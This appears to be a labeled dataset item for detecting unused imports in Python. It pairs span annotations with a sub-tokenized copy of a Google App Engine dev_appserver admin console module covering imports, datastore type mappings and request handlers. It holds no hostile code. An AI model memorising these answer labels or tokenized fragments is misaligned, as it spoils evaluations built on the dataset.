[ { "span": "import random", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 13 }, { "span": "import urlparse", "start_line": 40, "start_column": 0, "end_line": 40, "end_column": 15 }, { "span": "from google.appengine.api.labs import taskqueue", "start_line": 57, "start_column": 0, "end_line": 57, "end_column": 47 }, { "span": "from google.appengine.ext import db", "start_line": 59, "start_column": 0, "end_line": 59, "end_column": 35 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2007", " ", "Goo", "gle", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Simple", " ", "datast", "ore", " ", "view", " ", "and", " ", "interactive", " ", "console", ",", " ", "for", " ", "use", " ", "in", " ", "dev", "\\u", "appse", "rver", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "cgi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "csv_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "c", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "math_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "mimetypes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pprint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urlparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "wsgi", "ref_", "._", "handlers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "google_", "._", "appengine_", "._", "cron_", "import_", "gro", "ctime", "specification_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "api_", "import_", "cron", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "HA", "VE", "\\u", "CRO", "N_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "HA", "VE", "\\u", "CRO", "N_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "api_", "import_", "api", "proxy", "\\u", "stub", "\\u", "map_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "api_", "import_", "datastore_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "api_", "import_", "datast", "ore", "\\u", "admin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "api_", "import_", "datast", "ore", "\\u", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "api_", "import_", "datast", "ore", "\\u", "errors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "api_", "import_", "memcache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "api_", "._", "labs", "_", "import_", "task", "queue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "api_", "import_", "users_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "ext_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "ext_", "import_", "webapp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "ext_", "._", "webapp_", "import_", "template_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "DEBUG_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\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\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "DATA", "\\u", "TYPES_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "Non", "e", "Type_", ":_", "Non", "e", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "String", "Type_", ":_", "String", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "Unic", "ode", "Type_", ":_", "String", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "Text_", ":_", "Text", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "Blob_", ":_", "Blo", "b", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "Boo", "lean", "Type_", ":_", "Boo", "l", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "Int", "Type_", ":_", "Int", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "Long", "Type_", ":_", "Long", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "Float", "Type_", ":_", "Float", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datetime_", "._", "datetime_", ":_", "Time", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "users_", "._", "User_", ":_", "User", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "Key_", ":_", "Reference", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "List", "Type_", ":_", "List", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "Email_", ":_", "Ema", "il", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "Category_", ":_", "Cate", "gory", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "Link_", ":_", "Link", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "Geo", "Pt_", ":_", "Geo", "Pt", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "IM", "_", ":_", "Im", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "Phone", "Number_", ":_", "Phone", "Number", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "Post", "al", "Address_", ":_", "Post", "al", "Address", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "Rating_", ":_", "Rati", "ng", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "types_", "._", "Blo", "b", "Key_", ":_", "Blo", "b", "Key", "Type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "NAME", "D", "\\u", "DATA", "\\u", "TYPES_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "data\\u", "type_", "in_", "\\u", "DATA", "\\u", "TYPES_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "NAME", "D", "\\u", "DATA", "\\u", "TYPES_", "[_", "data\\u", "type_", "._", "name_", "(_", ")_", "]_", "=_", "data\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "django_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "django_", "._", "VERSION_", "[_", ":_", "2_", "]_", "<_", "(_", "0_", ",_", "97_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django_", "._", "template_", "import_", "default", "filters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "default", "filters_", "._", "register_", "._", "filter_", "(_", "\"", "safe", "\"_", ",_", "safe_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Image", "Handler_", "(_", "webapp_", "._", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Serv", "es", " ", "a", " ", "static", " ", "image", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "Thi", "s", " ", "exist", "s", " ", "bec", "aus", "e", " ", "we", " ", "don", "'", "t", " ", "want", " ", "to", " ", "bur", "den", " ", "the", " ", "user", " ", "with", " ", "speci", "fy", "ing", "\\", "10", ";", " ", " ", "a", " ", "static", " ", "file", " ", "handler", " ", "for", " ", "the", " ", "image", " ", "resource", "s", " ", "used", " ", "by", " ", "the", " ", "admin", " ", "tool", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PATH_", "=_", "'/", "images", "/.*", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Image", "Handler_", "(_", "webapp_", "._", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "image", "\\u", "name_", "=_", "os_", "._", "path_", "._", "basename_", "(_", "self_", "._", "request_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content", "\\u", "type_", ",_", "encoding_", "=_", "mimetypes_", "._", "guess", "\\u", "type_", "(_", "image", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "content", "\\u", "type_", "or_", "not_", "content", "\\u", "type_", "._", "startswith_", "(_", "'", "image", "/'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "debug_", "(_", "'", "image", "\\u", "name", "=", "%", "r", ",", " ", "content", "\\u", "type", "=", "%", "r", ",", " ", "encoding", "=", "%", "r", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "image", "\\u", "name_", ",_", "content", "\\u", "type_", ",_", "encoding_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "error_", "(_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "directory_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "directory_", ",_", "'", "template", "s", "'_", ",_", "'", "images", "'_", ",_", "image", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "image", "\\u", "stream_", "=_", "open_", "(_", "path_", ",_", "'", "rb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "IO", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "error_", "(_", "'", "Cann", "ot", " ", "open", " ", "image", " ", "%", "s", ":", " ", "%", "s", "'_", ",_", "image", "\\u", "name_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "error_", "(_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "image", "\\u", "data_", "=_", "image", "\\u", "stream_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "image", "\\u", "stream_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "response_", "._", "headers_", "[_", "'", "Conten", "t", "-", "Type", "'_", "]_", "=_", "content", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "response_", "._", "out_", "._", "write_", "(_", "image", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Base", "Request", "Handler_", "(_", "webapp_", "._", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Suppl", "ies", " ", "a", " ", "common", " ", "template", " ", "generat", "ion", " ", "function", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "Whe", "n", " ", "you", " ", "call", " ", "generat", "e", "()", ",", " ", "we", " ", "augment", " ", "the", " ", "template", " ", "variab", "les", " ", "supplie", "d", " ", "with", "\\", "10", ";", " ", " ", "the", " ", "current", " ", "user", " ", "in", " ", "the", " ", "'", "user", "'", " ", "variab", "le", " ", "and", " ", "the", " ", "current", " ", "weba", "pp", " ", "request", "\\", "10", ";", " ", " ", "in", " ", "the", " ", "'", "request", "'", " ", "variab", "le", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Base", "Request", "Handler_", "(_", "webapp_", "._", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "generate_", "(_", "self_", ",_", "template", "\\u", "name_", ",_", "template", "\\u", "values_", "=_", "{_", "}_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "base", "\\u", "path_", "=_", "self_", "._", "base", "\\u", "path_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "applica", "tion", "\\u", "name", "'_", ":_", "self_", "._", "request_", "._", "environ_", "[_", "'", "APPLICATION", "\\u", "ID", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "'_", ":_", "users_", "._", "get", "\\u", "current", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "self_", "._", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "home", "\\u", "path", "'_", ":_", "base", "\\u", "path_", "+_", "Default", "Page", "Handler_", "._", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "datast", "ore", "\\u", "path", "'_", ":_", "base", "\\u", "path_", "+_", "Datas", "tore", "Query", "Handler_", "._", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "datast", "ore", "\\u", "edit", "\\u", "path", "'_", ":_", "base", "\\u", "path_", "+_", "Datas", "tore", "Edit", "Handler_", "._", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "datast", "ore", "\\u", "batch", "\\u", "edit", "\\u", "path", "'_", ":_", "base", "\\u", "path_", "+_", "Datas", "tore", "Bat", "ch", "Edit", "Handler_", "._", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "interactive", "\\u", "path", "'_", ":_", "base", "\\u", "path_", "+_", "Interact", "ive", "Page", "Handler_", "._", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "interactive", "\\u", "execute", "\\u", "path", "'_", ":_", "base", "\\u", "path_", "+_", "Interact", "ive", "Execut", "e", "Handler_", "._", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "memc", "ache", "\\u", "path", "'_", ":_", "base", "\\u", "path_", "+_", "Memcache", "Page", "Handler_", "._", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "queue", "s", "\\u", "path", "'_", ":_", "base", "\\u", "path_", "+_", "Queue", "s", "Page", "Handler_", "._", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xmpp", "\\u", "path", "'_", ":_", "base", "\\u", "path_", "+_", "XMPP", "Page", "Handler_", "._", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "inbound", "mail", "\\u", "path", "'_", ":_", "base", "\\u", "path_", "+_", "Inbo", "und", "Mail", "Page", "Handler_", "._", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "HA", "VE", "\\u", "CRO", "N_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "[_", "'", "cron", "\\u", "path", "'_", "]_", "=_", "base", "\\u", "path_", "+_", "Cro", "n", "Page", "Handler_", "._", "PATH_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "values_", "._", "update_", "(_", "template", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "directory_", ",_", "os_", "._", "path_", "._", "join_", "(_", "'", "template", "s", "'_", ",_", "template", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "response_", "._", "out_", "._", "write_", "(_", "template_", "._", "render_", "(_", "path_", ",_", "values_", ",_", "debug_", "=_", "\\u", "DEBUG_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Request", "Handler_", "(_", "webapp_", "._", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "base", "\\u", "path_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "the", " ", "base", " ", "path", " ", "of", " ", "this", " ", "admin", " ", "app", ",", " ", "whi", "ch", " ", "is", " ", "chosen", " ", "by", " ", "the", " ", "user", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "user", " ", "speci", "fie", "s", " ", "whi", "ch", " ", "path", "s", " ", "map", " ", "to", " ", "this", " ", "applica", "tion", " ", "in", " ", "thei", "r", " ", "app", ".", "cfg", ".", "\\", "10", ";", " ", " ", " ", " ", "You", " ", "can", " ", "get", " ", "tha", "t", " ", "base", " ", "path", " ", "with", " ", "this", " ", "method", ".", " ", "Combine", " ", "with", " ", "the", " ", "constant", "\\", "10", ";", " ", " ", " ", " ", "path", "s", " ", "specified", " ", "by", " ", "the", " ", "classe", "s", " ", "to", " ", "construct", " ", "URL", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "PATH_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "request_", "._", "path_", "[_", ":_", "-_", "len_", "(_", "path_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Request", "Handler_", "(_", "webapp_", "._", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "filter", "\\u", "url_", "(_", "self_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Filter", "s", " ", "the", " ", "current", " ", "URL", " ", "to", " ", "only", " ", "have", " ", "the", " ", "give", "n", " ", "list", " ", "of", " ", "argu", "ment", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "example", ",", " ", "if", " ", "your", " ", "URL", " ", "is", " ", "/", "search", "?", "q", "=", "foo", "&", "num", "=", "100", "&", "start", "=", "10", ",", " ", "then", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", "self", ".", "filter", "\\u", "url", "([", "'", "start", "',", " ", "'", "num", "'])", " ", "=>", " ", "/", "search", "?", "num", "=", "100", "&", "start", "=", "10", "\\", "10", ";", " ", " ", " ", "self", ".", "filter", "\\u", "url", "([", "'", "q", "'])", " ", "=>", " ", "/", "search", "?", "q", "=", "10", "\\", "10", ";", " ", " ", " ", "self", ".", "filter", "\\u", "url", "([", "'", "random", "'])", " ", "=>", " ", "/", "search", "?", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "queries_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "arg_", "in_", "args_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "self_", "._", "request_", "._", "get_", "(_", "arg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "queries_", "._", "append_", "(_", "arg_", "+_", "'='_", "+_", "urllib_", "._", "quote", "\\u", "plus_", "(_", "self_", "._", "request_", "._", "get_", "(_", "arg_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 